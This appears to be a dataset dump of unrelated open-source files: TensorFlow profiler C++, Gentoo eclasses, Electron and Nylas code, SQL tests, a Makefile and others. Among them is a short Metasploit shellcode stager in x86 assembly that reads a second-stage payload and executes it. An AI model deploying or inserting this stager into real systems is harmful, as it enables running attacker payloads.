event.ForEachStat([&](const XStatVisitor& stat) {
if (!stat.Type().has_value()) return;
switch (stat.Type().value()) {
case StatType::kGroupId:
group_id = stat.IntValue();
break;
case StatType::kLevel0: // old way to carry tf_op
case StatType::kTfOp:
tf_op_full_name = stat.StrOrRefValue();
break;
case StatType::kHloOp:
hlo_op_names =
absl::StrSplit(stat.StrOrRefValue(), kAnnotationDelimiter);
break;
case StatType::kHloModule:
hlo_module_name = stat.StrOrRefValue();
break;
case StatType::kProgramId:
program_id = stat.IntOrUintValue();
break;
case StatType::kKernelDetails:
is_kernel = true;
break;
default:
break;
}
});
int64_t group_id_or_invalid = GroupIdOrInvalid(group_id);
if (group_id) {
XEvent step_event = CreateXEvent(
*plane.GetOrCreateEventMetadata(absl::StrCat(*group_id)), offset_ps,
duration_ps, group_id_stat_metadata_id, group_id);
if (auto group_metadata =
gtl::FindOrNull(group_metadata_map, *group_id)) {
XStat* stat = step_event.add_stats();
stat->set_metadata_id(step_name_stat_metadata_id);
stat->set_str_value(group_metadata->name);
}
steps.ExpandOrAddEvent(step_event, group_id_or_invalid);
}
if (step_info_only) continue;
// For HLO/TF op lines, only use kernel events (i.e. excluding memcpy or
// allocation events).
if (!is_kernel) continue;
if (!hlo_module_name.empty()) {
std::string name(hlo_module_name);
if (program_id.has_value()) {
absl::StrAppend(&name, " (", program_id.value(), ")");
}
hlo_modules.ExpandOrAddEvent(
CreateXEvent(*plane.GetOrCreateEventMetadata(name), offset_ps,
duration_ps, group_id_stat_metadata_id, group_id));
}
if (!hlo_op_names.empty()) { // GPU kernel compiled by XLA
DCHECK(!hlo_module_name.empty());
std::vector<XEvent> hlo_op_event_per_level;
for (absl::string_view hlo_op_name : hlo_op_names) {
DCHECK(!hlo_op_name.empty());
hlo_op_event_per_level.push_back(CreateXEvent(
*plane.GetOrCreateEventMetadata(hlo_op_name), offset_ps,
duration_ps, group_id_stat_metadata_id, group_id));
}
hlo_ops.ExpandOrAddEvents(hlo_op_event_per_level, group_id_or_invalid);
auto symbol =
symbol_resolver(program_id, hlo_module_name, hlo_op_names.back());
if (!symbol.tf_op_name.empty()) {
ProcessTfOpEvent(symbol.tf_op_name,
/*low_level_event_name=*/event.Name(), offset_ps,
duration_ps, group_id, &plane, &tf_name_scope,
&tf_ops);
}
if (!symbol.source_info.empty()) {
source.ExpandOrAddEvent(CreateXEvent(
*plane.GetOrCreateEventMetadata(symbol.source_info), offset_ps,
duration_ps, group_id_stat_metadata_id, group_id));
}
} else if (!tf_op_full_name.empty()) { // GPU kernel not compiled by XLA
ProcessTfOpEvent(tf_op_full_name,
/*low_level_event_name=*/event.Name(), offset_ps,
duration_ps, group_id, &plane, &tf_name_scope, &tf_ops);
}
}
RemoveEmptyLines(device_trace);
}
void DeriveEventsFromHostTrace(const XPlane* host_trace,
const GroupMetadataMap& group_metadata_map,
std::vector<XPlane*> device_traces) {
struct GroupLaunchInfo { // "Group" normally means step.
Timespan timespan;
int32 num_launches = 0;
uint64 max_launch_time_ps = 0ULL;
uint64 total_launch_time_ps = 0ULL;
};
typedef absl::flat_hash_map<int64_t /*group_id*/, GroupLaunchInfo>
DeviceLaunchInfo;
int num_devices = device_traces.size();
std::vector<DeviceLaunchInfo> per_device_launch_info(num_devices);
XPlaneVisitor host_plane = CreateTfXPlaneVisitor(host_trace);
host_plane.ForEachLine([&](const XLineVisitor& line) {
if (IsDerivedThreadId(line.Id())) return;
line.ForEachEvent([&](const XEventVisitor& event) {
absl::optional<int64_t> group_id;
absl::optional<int64_t> device_id;
absl::optional<int64_t> correlation_id;
// Filter out API calls for cuEventRecord/cuEventQuery/cuCtxSynchronize
// etc for now. TODO: find a better way to filter out only the memcpy and
// kernel launch events.
if (absl::StartsWith(event.Name(), "cu")) return;
event.ForEachStat([&](const XStatVisitor& stat) {
if (stat.Type() == StatType::kGroupId) {
group_id = stat.IntValue();
} else if (stat.Type() == StatType::kDeviceId) {
device_id = stat.IntOrUintValue();
} else if (stat.Type() == StatType::kCorrelationId) {
correlation_id = stat.IntValue();
}
});
if (group_id && device_id && correlation_id && *device_id >= 0 &&
*device_id < num_devices) {
// This is a launch event on a known device.
GroupLaunchInfo& group_launch_info =
per_device_launch_info[*device_id][*group_id];
Timespan& group_span = group_launch_info.timespan;
Timespan event_span = event.GetTimespan();
if (group_launch_info.num_launches) { // Existing group.
group_span.ExpandToInclude(event_span);
} else {
group_span = event_span;
}
++group_launch_info.num_launches;
group_launch_info.max_launch_time_ps = std::max(
group_launch_info.max_launch_time_ps, event_span.duration_ps());
group_launch_info.total_launch_time_ps += event_span.duration_ps();
}
});
});
uint64 host_plane_start = GetStartTimestampNs(*host_trace);
for (int i = 0; i < num_devices; ++i) {
if (per_device_launch_info[i].empty()) continue;
uint64 device_plane_start = GetStartTimestampNs(*device_traces[i]);
XPlaneBuilder device_plane(device_traces[i]);
XLineBuilder launch_line =
device_plane.GetOrCreateLine(kThreadIdKernelLaunch);
launch_line.SetName(kKernelLaunchLineName);
launch_line.SetTimestampNs(std::min(device_plane_start, host_plane_start));
for (const auto& kv : per_device_launch_info[i]) {
int64_t group_id = kv.first;
const GroupLaunchInfo& group_info = kv.second;
if (auto group_metadata = gtl::FindOrNull(group_metadata_map, group_id)) {
XEventBuilder device_event =
launch_line.AddEvent(*device_plane.GetOrCreateEventMetadata(
absl::StrCat("Launch Stats for ", group_metadata->name)));
device_event.SetTimestampNs(
host_plane_start + PicosToNanos(group_info.timespan.begin_ps()));
device_event.SetDurationPs(group_info.timespan.duration_ps());
device_event.AddStatValue(*device_plane.GetOrCreateStatMetadata(
GetStatTypeStr(StatType::kGroupId)),
group_id);
device_event.AddStatValue(
*device_plane.GetOrCreateStatMetadata("num_launches"),
group_info.num_launches);
device_event.AddStatValue(
*device_plane.GetOrCreateStatMetadata("max_launch_time_us"),
PicosToMicros(group_info.max_launch_time_ps));
device_event.AddStatValue(
*device_plane.GetOrCreateStatMetadata("avg_launch_time_us"),
PicosToMicros(group_info.total_launch_time_ps /
group_info.num_launches));
}
}
}
}
void GenerateDerivedTimeLines(const GroupMetadataMap& group_metadata_map,
XSpace* space, bool step_info_only) {
// TODO(profiler): Once we capture HLO protos for xla/gpu, we should use that
// to look up tensorflow op name from hlo_module/hlo_op.
auto dummy_symbol_resolver =
[](absl::optional<uint64_t> program_id, absl::string_view hlo_module,
absl::string_view hlo_op) { return tensorflow::profiler::Symbol(); };
std::vector<XPlane*> device_traces =
FindMutablePlanesWithPrefix(space, kGpuPlanePrefix);
for (XPlane* plane : device_traces) {
DeriveEventsFromAnnotations(dummy_symbol_resolver, group_metadata_map,
plane, step_info_only);
}
}
} // namespace profiler
} // namespace tensorflow
| C++ | 5 | pedro-r-marques/tensorflow | tensorflow/core/profiler/utils/derived_timeline.cc | [
"Apache-2.0"
] |
# needs-profiler-support
-include ../tools.mk
all:
$(RUSTC) -g -Z profile test.rs
$(call RUN,test) || exit 1
[ -e "$(TMPDIR)/test.gcno" ] || (echo "No .gcno file"; exit 1)
[ -e "$(TMPDIR)/test.gcda" ] || (echo "No .gcda file"; exit 1)
$(RUSTC) -g -Z profile -Z profile-emit=$(TMPDIR)/abc/abc.gcda test.rs
$(call RUN,test) || exit 1
[ -e "$(TMPDIR)/abc/abc.gcda" ] || (echo "gcda file not emitted to defined path"; exit 1)
| Makefile | 3 | Eric-Arellano/rust | src/test/run-make-fulldeps/profile/Makefile | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
Rem
Maxim
Maxim evaluates to the value of the largest of the two operators.
End Rem
Print Maxim(10,20) '20
Print Maxim(20,10) '20 | BlitzMax | 2 | jabdoa2/blitzmax | mod/brl.mod/blitz.mod/doc/maxim.bmx | [
"Zlib"
] |
;;
;
; Name: stager_stdin
; Platforms: *BSD, Linux
; Authors: vlad902 <vlad902 [at] gmail.com>
; Authors: skape <mmiller [at] hick.org>
; Version: $Revision: 1656 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Read a second stage from fd 1 (stdin).
;
;
;;
BITS 32
section .text
global _start
_start:
push byte 0x03
pop eax
xor ebx, ebx
mov ecx, esp
cdq
mov dh, 0x08
push edx
push ecx
push ebx
push ecx
int 0x80
ret
| Assembly | 4 | OsmanDere/metasploit-framework | external/source/shellcode/generic/ia32/stager_stdin.asm | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
'oneart.wav' diskin 3.5 0.01 comb 0.5 *
| SourcePawn | 3 | aleatoricforest/Sporth | examples/comb.sp | [
"MIT"
] |
/*
* Copyright (c) 2020, Oracle and/or its affiliates. All rights reserved.
* Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl.
*/
function double(x) {
return 2 * x;
}
function main() {
5 + double(2) = 4;
}
| Slash | 1 | CAFxX/simplelanguage | language/tests/error/InvalidAssignmentInBinOp.sl | [
"UPL-1.0"
] |
--CONFIG_DIM1 spark.sql.optimizeNullAwareAntiJoin=true
--CONFIG_DIM1 spark.sql.optimizeNullAwareAntiJoin=false
create temporary view tab_a as select * from values (1, 1) as tab_a(a1, b1);
create temporary view tab_b as select * from values (1, 1) as tab_b(a2, b2);
create temporary view struct_tab as select struct(col1 as a, col2 as b) as record from
values (1, 1), (1, 2), (2, 1), (2, 2);
select 1 from tab_a where (a1, b1) not in (select a2, b2 from tab_b);
-- Invalid query, see SPARK-24341
select 1 from tab_a where (a1, b1) not in (select (a2, b2) from tab_b);
-- Aliasing is needed as a workaround for SPARK-24443
select count(*) from struct_tab where record in
(select (a2 as a, b2 as b) from tab_b);
select count(*) from struct_tab where record not in
(select (a2 as a, b2 as b) from tab_b);
| SQL | 4 | OlegPt/spark | sql/core/src/test/resources/sql-tests/inputs/subquery/in-subquery/in-basic.sql | [
"Apache-2.0"
] |
%run ( | => -1 ):
hput -1 1 -- put handler 1 on channel -1
get -1 -- get on channel -1
store -- store
hput -1 1
get -1
store
load 2
load 1
add
hput -1 2
put -1
hput -1 3
close -1
| AMPL | 1 | prashant007/AMPL | myAMPL/src/Examples/ctest1.ampl | [
"MIT"
] |
Generic block #1
| Twig | 3 | titomtd/Sylius | src/Sylius/Bundle/UiBundle/Tests/Functional/templates/blocks/multipleEvents/genericFirst.txt.twig | [
"MIT"
] |
!https://github.com/tinkerpop/gremlin/raw/master/doc/images/gremlin-kilt.png!
Most Gremlin pipelines are serial in that one step feeds to the next, so on and so forth. There are situations where it is desirable to split a pipeline and thus, have @n@-parallel steps that are later merged back into a serial flow. To support this type of traversal, there are split and merge steps.
* Split
** @copySplit@: copy the incoming object to each pipeline
* Merge
** @fairMerge@: merge the parallel traversals in a round-robin fashion
** @exhaustMerge@: merge the parallel traversals by exhaustively getting the objects of the first, then the second, etc.
```text
gremlin> g.v(1).out('knows').copySplit(_().out('created').name, _().age).fairMerge
==>ripple
==>27
==>lop
==>32
gremlin> g.v(1).out('knows').copySplit(_().out('created').name, _().age).exhaustMerge
==>ripple
==>lop
==>27
==>32
```
A useful representation of the the split/merge pattern is as follows.
```text
g.v(1).out('knows').copySplit(
_().out('created').name,
_().age
).fairMerge
``` | Textile | 3 | echinopsii/net.echinopsii.3rdparty.gremlin | doc/Split-Merge-Pattern.textile | [
"BSD-3-Clause"
] |
# Copyright 1999-2017 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
#
# @ECLASS: mozcoreconf-v5.eclass
# @MAINTAINER:
# Mozilla team <mozilla@gentoo.org>
# @BLURB: core options and configuration functions for mozilla
# @DESCRIPTION:
#
# inherit mozconfig-v6.* or above for mozilla configuration support
# @ECLASS-VARIABLE: MOZILLA_FIVE_HOME
# @DESCRIPTION:
# This is an eclass-generated variable that defines the rpath that the mozilla
# product will be installed in. Read-only
if [[ ! ${_MOZCORECONF} ]]; then
PYTHON_COMPAT=( python2_7 )
PYTHON_REQ_USE='ncurses,sqlite,ssl,threads'
inherit multilib toolchain-funcs flag-o-matic python-any-r1 versionator
IUSE="${IUSE} custom-cflags custom-optimization"
DEPEND="virtual/pkgconfig
${PYTHON_DEPS}"
# @FUNCTION: mozconfig_annotate
# @DESCRIPTION:
# add an annotated line to .mozconfig
#
# Example:
# mozconfig_annotate "building on ultrasparc" --enable-js-ultrasparc
# => ac_add_options --enable-js-ultrasparc # building on ultrasparc
mozconfig_annotate() {
declare reason=$1 x ; shift
[[ $# -gt 0 ]] || die "mozconfig_annotate missing flags for ${reason}\!"
for x in ${*}; do
echo "ac_add_options ${x} # ${reason}" >>.mozconfig
done
}
# @FUNCTION: mozconfig_use_enable
# @DESCRIPTION:
# add a line to .mozconfig based on a USE-flag
#
# Example:
# mozconfig_use_enable truetype freetype2
# => ac_add_options --enable-freetype2 # +truetype
mozconfig_use_enable() {
declare flag=$(use_enable "$@")
mozconfig_annotate "$(use $1 && echo +$1 || echo -$1)" "${flag}"
}
# @FUNCTION mozconfig_use_with
# @DESCRIPTION
# add a line to .mozconfig based on a USE-flag
#
# Example:
# mozconfig_use_with kerberos gss-api /usr/$(get_libdir)
# => ac_add_options --with-gss-api=/usr/lib # +kerberos
mozconfig_use_with() {
declare flag=$(use_with "$@")
mozconfig_annotate "$(use $1 && echo +$1 || echo -$1)" "${flag}"
}
# @FUNCTION mozconfig_use_extension
# @DESCRIPTION
# enable or disable an extension based on a USE-flag
#
# Example:
# mozconfig_use_extension gnome gnomevfs
# => ac_add_options --enable-extensions=gnomevfs
mozconfig_use_extension() {
declare minus=$(use $1 || echo -)
mozconfig_annotate "${minus:-+}$1" --enable-extensions=${minus}${2}
}
moz_pkgsetup() {
# Ensure we use C locale when building
export LANG="C"
export LC_ALL="C"
export LC_MESSAGES="C"
export LC_CTYPE="C"
# Ensure we use correct toolchain
export HOST_CC="$(tc-getBUILD_CC)"
export HOST_CXX="$(tc-getBUILD_CXX)"
tc-export CC CXX LD PKG_CONFIG
# Ensure that we have a sane build enviroment
export MOZILLA_CLIENT=1
export BUILD_OPT=1
export NO_STATIC_LIB=1
export USE_PTHREADS=1
export ALDFLAGS=${LDFLAGS}
# ensure MOZCONFIG is not defined
unset MOZCONFIG
# set MOZILLA_FIVE_HOME
export MOZILLA_FIVE_HOME="/usr/$(get_libdir)/${PN}"
# nested configure scripts in mozilla products generate unrecognized options
# false positives when toplevel configure passes downwards.
export QA_CONFIGURE_OPTIONS=".*"
if [[ $(gcc-major-version) -eq 3 ]]; then
ewarn "Unsupported compiler detected, DO NOT file bugs for"
ewarn "outdated compilers. Bugs opened with gcc-3 will be closed"
ewarn "invalid."
fi
python-any-r1_pkg_setup
}
# @FUNCTION: mozconfig_init
# @DESCRIPTION:
# Initialize mozilla configuration and populate with core settings.
# This should be called in src_configure before any other mozconfig_* functions.
mozconfig_init() {
declare enable_optimize pango_version myext x
declare XUL=$([[ ${PN} == xulrunner ]] && echo true || echo false)
declare FF=$([[ ${PN} == firefox ]] && echo true || echo false)
declare SM=$([[ ${PN} == seamonkey ]] && echo true || echo false)
declare TB=$([[ ${PN} == thunderbird ]] && echo true || echo false)
####################################
#
# Setup the initial .mozconfig
# See http://www.mozilla.org/build/configure-build.html
#
####################################
case ${PN} in
*xulrunner)
cp xulrunner/config/mozconfig .mozconfig \
|| die "cp xulrunner/config/mozconfig failed" ;;
*firefox)
cp browser/config/mozconfig .mozconfig \
|| die "cp browser/config/mozconfig failed" ;;
seamonkey)
# Must create the initial mozconfig to enable application
: >.mozconfig || die "initial mozconfig creation failed"
mozconfig_annotate "" --enable-application=suite ;;
*thunderbird)
# Must create the initial mozconfig to enable application
: >.mozconfig || die "initial mozconfig creation failed"
mozconfig_annotate "" --enable-application=mail ;;
esac
####################################
#
# CFLAGS setup and ARCH support
#
####################################
# Set optimization level
if [[ $(gcc-major-version) -ge 7 ]]; then
mozconfig_annotate "Workaround known breakage" --enable-optimize=-O2
elif [[ ${ARCH} == hppa ]]; then
mozconfig_annotate "more than -O0 causes a segfault on hppa" --enable-optimize=-O0
elif [[ ${ARCH} == x86 ]]; then
mozconfig_annotate "less then -O2 causes a segfault on x86" --enable-optimize=-O2
elif use custom-optimization || [[ ${ARCH} =~ (alpha|ia64) ]]; then
# Set optimization level based on CFLAGS
if is-flag -O0; then
mozconfig_annotate "from CFLAGS" --enable-optimize=-O0
elif [[ ${ARCH} == ppc ]] && has_version '>=sys-libs/glibc-2.8'; then
mozconfig_annotate "more than -O1 segfaults on ppc with glibc-2.8" --enable-optimize=-O1
elif is-flag -O4; then
mozconfig_annotate "from CFLAGS" --enable-optimize=-O4
elif is-flag -O3; then
mozconfig_annotate "from CFLAGS" --enable-optimize=-O3
elif is-flag -O1; then
mozconfig_annotate "from CFLAGS" --enable-optimize=-O1
elif is-flag -Os; then
mozconfig_annotate "from CFLAGS" --enable-optimize=-Os
else
mozconfig_annotate "Gentoo's default optimization" --enable-optimize=-O2
fi
else
# Enable Mozilla's default
mozconfig_annotate "mozilla default" --enable-optimize
fi
# Strip optimization so it does not end up in compile string
filter-flags '-O*'
# Strip over-aggressive CFLAGS
use custom-cflags || strip-flags
# Additional ARCH support
case "${ARCH}" in
arm)
# Reduce the memory requirements for linking
append-ldflags -Wl,--no-keep-memory -Wl,--reduce-memory-overheads
;;
alpha)
# Historically we have needed to add -fPIC manually for 64-bit.
# Additionally, alpha should *always* build with -mieee for correct math
# operation
append-flags -fPIC -mieee
;;
ia64)
# Historically we have needed to add this manually for 64-bit
append-flags -fPIC
;;
ppc64)
append-flags -fPIC -mminimal-toc
# Reduce the memory requirements for linking
append-ldflags -Wl,--no-keep-memory -Wl,--reduce-memory-overheads
;;
esac
# We need to append flags for gcc-6 support
if [[ $(gcc-major-version) -ge 6 ]]; then
append-cxxflags -fno-delete-null-pointer-checks -fno-lifetime-dse -fno-schedule-insns2
fi
# Use the MOZILLA_FIVE_HOME for the rpath
append-ldflags -Wl,-rpath="${MOZILLA_FIVE_HOME}",--enable-new-dtags
# Set MOZILLA_FIVE_HOME in mozconfig
mozconfig_annotate '' --with-default-mozilla-five-home=${MOZILLA_FIVE_HOME}
####################################
#
# mozconfig setup
#
####################################
mozconfig_annotate disable_update_strip \
--disable-updater \
--disable-strip \
--disable-install-strip
# jemalloc won't build with older glibc
! has_version ">=sys-libs/glibc-2.4" && mozconfig_annotate "we have old glibc" --disable-jemalloc
}
# @FUNCTION: mozconfig_final
# @DESCRIPTION:
# Apply EXTRA_ECONF values to .mozconfig
# Display a table describing all configuration options paired
# with reasons, then clean up extensions list.
# This should be called in src_configure at the end of all other mozconfig_* functions.
mozconfig_final() {
declare ac opt hash reason
# Apply EXTRA_ECONF entries to .mozconfig
if [[ -n ${EXTRA_ECONF} ]]; then
IFS=\! read -a ac <<<${EXTRA_ECONF// --/\!}
for opt in "${ac[@]}"; do
mozconfig_annotate "EXTRA_ECONF" --${opt#--}
done
fi
echo
echo "=========================================================="
echo "Building ${PF} with the following configuration"
grep ^ac_add_options .mozconfig | while read ac opt hash reason; do
[[ -z ${hash} || ${hash} == \# ]] \
|| die "error reading mozconfig: ${ac} ${opt} ${hash} ${reason}"
printf " %-30s %s\n" "${opt}" "${reason:-mozilla.org default}"
done
echo "=========================================================="
echo
# Resolve multiple --enable-extensions down to one
declare exts=$(sed -n 's/^ac_add_options --enable-extensions=\([^ ]*\).*/\1/p' \
.mozconfig | xargs)
sed -i '/^ac_add_options --enable-extensions/d' .mozconfig
echo "ac_add_options --enable-extensions=${exts// /,}" >> .mozconfig
}
_MOZCORECONF=1
fi
| Gentoo Eclass | 5 | NighttimeDriver50000/Sabayon-Packages | local_overlay/eclass/mozcoreconf-v5.eclass | [
"MIT"
] |
' Licensed to the .NET Foundation under one or more agreements.
' The .NET Foundation licenses this file to you under the MIT license.
' See the LICENSE file in the project root for more information.
Imports System.Runtime.CompilerServices
Imports Microsoft.CodeAnalysis.VisualBasic.Syntax
Namespace Microsoft.CodeAnalysis.VisualBasic.Extensions
Friend Module ObjectCreationExpressionExtensions
<Extension>
Public Function CanRemoveEmptyArgumentList(objectCreationExpression As ObjectCreationExpressionSyntax) As Boolean
If objectCreationExpression.ArgumentList Is Nothing Then
Return False
End If
If objectCreationExpression.ArgumentList.Arguments.Count > 0 Then
Return False
End If
Dim nextToken = objectCreationExpression.GetLastToken.GetNextToken()
If nextToken.IsKindOrHasMatchingText(SyntaxKind.OpenParenToken) Then
Return False
End If
If nextToken.IsKindOrHasMatchingText(SyntaxKind.DotToken) Then
If Not TypeOf objectCreationExpression.Type Is PredefinedTypeSyntax Then
Return False
End If
End If
Return True
End Function
End Module
End Namespace
| Visual Basic | 4 | ffMathy/roslyn | src/Workspaces/SharedUtilitiesAndExtensions/Workspace/VisualBasic/Extensions/ObjectCreationExpressionExtensions.vb | [
"MIT"
] |
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "electron/shell/browser/extensions/api/streams_private/streams_private_api.h"
#include <memory>
#include <utility>
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/render_frame_host.h"
#include "content/public/browser/web_contents.h"
#include "extensions/browser/extension_registry.h"
#include "extensions/browser/guest_view/mime_handler_view/mime_handler_stream_manager.h"
#include "extensions/browser/guest_view/mime_handler_view/mime_handler_view_guest.h"
#include "extensions/common/manifest_handlers/mime_types_handler.h"
#include "shell/browser/api/electron_api_web_contents.h"
namespace extensions {
void StreamsPrivateAPI::SendExecuteMimeTypeHandlerEvent(
const std::string& extension_id,
const std::string& view_id,
bool embedded,
int frame_tree_node_id,
int render_process_id,
int render_frame_id,
blink::mojom::TransferrableURLLoaderPtr transferrable_loader,
const GURL& original_url) {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
content::WebContents* web_contents = nullptr;
if (frame_tree_node_id != -1) {
web_contents =
content::WebContents::FromFrameTreeNodeId(frame_tree_node_id);
} else {
web_contents = content::WebContents::FromRenderFrameHost(
content::RenderFrameHost::FromID(render_process_id, render_frame_id));
}
if (!web_contents)
return;
auto* browser_context = web_contents->GetBrowserContext();
const extensions::Extension* extension =
extensions::ExtensionRegistry::Get(browser_context)
->enabled_extensions()
.GetByID(extension_id);
if (!extension)
return;
MimeTypesHandler* handler = MimeTypesHandler::GetHandler(extension);
if (!handler->HasPlugin())
return;
// If the mime handler uses MimeHandlerViewGuest, the MimeHandlerViewGuest
// will take ownership of the stream.
GURL handler_url(
extensions::Extension::GetBaseURLFromExtensionId(extension_id).spec() +
handler->handler_url());
int tab_id = -1;
auto* api_contents = electron::api::WebContents::From(web_contents);
if (api_contents)
tab_id = api_contents->ID();
auto stream_container = std::make_unique<extensions::StreamContainer>(
tab_id, embedded, handler_url, extension_id,
std::move(transferrable_loader), original_url);
extensions::MimeHandlerStreamManager::Get(browser_context)
->AddStream(view_id, std::move(stream_container), frame_tree_node_id,
render_process_id, render_frame_id);
}
} // namespace extensions
| C++ | 4 | TarunavBA/electron | shell/browser/extensions/api/streams_private/streams_private_api.cc | [
"MIT"
] |
/* eslint react/sort-comp: 0 */
import _ from 'underscore';
import React from 'react';
import {
Message,
Actions,
DraftStore,
WorkspaceStore,
ComponentRegistry,
ExtensionRegistry,
InflatesDraftClientId,
CustomContenteditableComponents,
} from 'nylas-exports';
import {OverlaidComposerExtension} from 'nylas-component-kit'
import ComposeButton from './compose-button';
import ComposerView from './composer-view';
import ImageUploadComposerExtension from './image-upload-composer-extension';
import InlineImageUploadContainer from "./inline-image-upload-container";
const ComposerViewForDraftClientId = InflatesDraftClientId(ComposerView);
class ComposerWithWindowProps extends React.Component {
static displayName = 'ComposerWithWindowProps';
static containerRequired = false;
constructor(props) {
super(props);
// We'll now always have windowProps by the time we construct this.
const windowProps = NylasEnv.getWindowProps();
const {draftJSON, draftClientId} = windowProps;
if (!draftJSON) {
throw new Error("Initialize popout composer windows with valid draftJSON")
}
const draft = new Message().fromJSON(draftJSON);
DraftStore._createSession(draftClientId, draft);
this.state = windowProps
}
componentWillUnmount() {
if (this._usub) { this._usub() }
}
componentDidUpdate() {
this.refs.composer.focus()
}
_onDraftReady = () => {
this.refs.composer.focus().then(() => {
NylasEnv.displayWindow();
this._recordComposerOpenTime()
if (this.state.errorMessage) {
this._showInitialErrorDialog(this.state.errorMessage, this.state.errorDetail);
}
// This will start loading the rest of the composer's plugins. This
// may take a while (hundreds of ms) depending on how many plugins
// you have installed. For some reason it takes two frames to
// reliably get the basic composer (Send button, etc) painted
// properly.
window.requestAnimationFrame(() => {
window.requestAnimationFrame(() => {
NylasEnv.getCurrentWindow().updateLoadSettings({
windowType: "composer",
})
})
})
});
}
_recordComposerOpenTime() {
const {timerId} = NylasEnv.getWindowProps()
const timerKey = `open-composer-window-${timerId}`
if (NylasEnv.timer.isPending(timerKey)) {
const actionTimeMs = NylasEnv.timer.stop(timerKey);
if (actionTimeMs && actionTimeMs <= 4000) {
// TODO do we still need to record this legacy event?
Actions.recordUserEvent("Composer Popout Timed", {timeInMs: actionTimeMs})
}
Actions.recordPerfMetric({
action: 'open-composer-window',
actionTimeMs,
maxValue: 4000,
sample: 0.9,
})
}
}
render() {
return (
<ComposerViewForDraftClientId
ref="composer"
onDraftReady={this._onDraftReady}
draftClientId={this.state.draftClientId}
className="composer-full-window"
/>
);
}
_showInitialErrorDialog(msg, detail) {
// We delay so the view has time to update the restored draft. If we
// don't delay the modal may come up in a state where the draft looks
// like it hasn't been restored or has been lost.
_.delay(() => {
NylasEnv.showErrorDialog({title: 'Error', message: msg}, {detail: detail})
}, 100);
}
}
export function activate() {
if (NylasEnv.isMainWindow()) {
ComponentRegistry.register(ComposerViewForDraftClientId, {
role: 'Composer',
});
ComponentRegistry.register(ComposeButton, {
location: WorkspaceStore.Location.RootSidebar.Toolbar,
});
} else if (NylasEnv.isThreadWindow()) {
ComponentRegistry.register(ComposerViewForDraftClientId, {
role: 'Composer',
});
} else {
NylasEnv.getCurrentWindow().setMinimumSize(480, 250);
ComponentRegistry.register(ComposerWithWindowProps, {
location: WorkspaceStore.Location.Center,
});
}
ExtensionRegistry.Composer.register(OverlaidComposerExtension, {priority: 1})
ExtensionRegistry.Composer.register(ImageUploadComposerExtension);
CustomContenteditableComponents.register("InlineImageUploadContainer", InlineImageUploadContainer);
}
export function deactivate() {
if (NylasEnv.isMainWindow()) {
ComponentRegistry.unregister(ComposerViewForDraftClientId);
ComponentRegistry.unregister(ComposeButton);
} else {
ComponentRegistry.unregister(ComposerWithWindowProps);
}
ExtensionRegistry.Composer.unregister(OverlaidComposerExtension)
ExtensionRegistry.Composer.unregister(ImageUploadComposerExtension);
CustomContenteditableComponents.unregister("InlineImageUploadContainer");
}
export function serialize() {
return this.state;
}
| JSX | 5 | cnheider/nylas-mail | packages/client-app/internal_packages/composer/lib/main.jsx | [
"MIT"
] |
# Copyright 1999-2017 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# @ECLASS: mysql-multilib-r1.eclass
# @MAINTAINER:
# Maintainers:
# - MySQL Team <mysql-bugs@gentoo.org>
# - Robin H. Johnson <robbat2@gentoo.org>
# - Jorge Manuel B. S. Vicetto <jmbsvicetto@gentoo.org>
# - Brian Evans <grknight@gentoo.org>
# @SUPPORTED_EAPIS: 5 6
# @BLURB: This eclass provides common functions for mysql ebuilds
# @DESCRIPTION:
# The mysql-multilib-r1.eclass is the base eclass to build the mysql and
# alternative projects (mariadb and percona) ebuilds.
# Provider and version specific settings will be included in each ebuild.
# It provides the src_unpack, src_prepare, src_configure, src_compile,
# src_install, pkg_preinst, pkg_postinst, pkg_config and pkg_postrm
# phase hooks.
MYSQL_EXTRAS=""
# @ECLASS-VARIABLE: MYSQL_EXTRAS_VER
# @DEFAULT_UNSET
# @DESCRIPTION:
# The version of the MYSQL_EXTRAS repo to use to build mysql
# Use "none" to disable it's use
[[ ${MY_EXTRAS_VER} == "live" ]] && MYSQL_EXTRAS="git-r3"
# @ECLASS-VARIABLE: MYSQL_CMAKE_NATIVE_DEFINES
# @DEFAULT_UNSET
# @DESCRIPTION:
# An array of extra CMake arguments for native multilib builds
# @ECLASS-VARIABLE: MYSQL_CMAKE_NONNATIVE_DEFINES
# @DEFAULT_UNSET
# @DESCRIPTION:
# An array of extra CMake arguments for non-native multilib builds
# @ECLASS-VARIABLE: MYSQL_CMAKE_EXTRA_DEFINES
# @DEFAULT_UNSET
# @DESCRIPTION:
# An array of CMake arguments added to native and non-native
# Keeping eutils in EAPI=6 for emktemp in pkg_config
inherit eutils systemd flag-o-matic ${MYSQL_EXTRAS} versionator \
prefix toolchain-funcs user cmake-utils multilib-minimal
if [[ "${EAPI}x" == "5x" ]]; then
inherit multilib mysql_fx
fi
#
# Supported EAPI versions and export functions
#
case "${EAPI:-0}" in
5|6) ;;
*) die "Unsupported EAPI: ${EAPI}" ;;
esac
EXPORT_FUNCTIONS pkg_pretend pkg_setup src_unpack src_prepare src_configure src_compile src_install pkg_preinst pkg_postinst pkg_config
#
# VARIABLES:
#
# Shorten the path because the socket path length must be shorter than 107 chars
# and we will run a mysql server during test phase
S="${WORKDIR}/mysql"
[[ ${MY_EXTRAS_VER} == "latest" ]] && MY_EXTRAS_VER="20090228-0714Z"
if [[ ${MY_EXTRAS_VER} == "live" ]]; then
EGIT_REPO_URI="git://anongit.gentoo.org/proj/mysql-extras.git"
EGIT_CHECKOUT_DIR=${WORKDIR}/mysql-extras
EGIT_CLONE_TYPE=shallow
fi
# @ECLASS-VARIABLE: MYSQL_PV_MAJOR
# @DESCRIPTION:
# Upstream MySQL considers the first two parts of the version number to be the
# major version. Upgrades that change major version should always run
# mysql_upgrade.
if [[ -z ${MYSQL_PV_MAJOR} ]] ; then MYSQL_PV_MAJOR="$(get_version_component_range 1-2 ${PV})" ; fi
# @ECLASS-VARIABLE: MYSQL_VERSION_ID
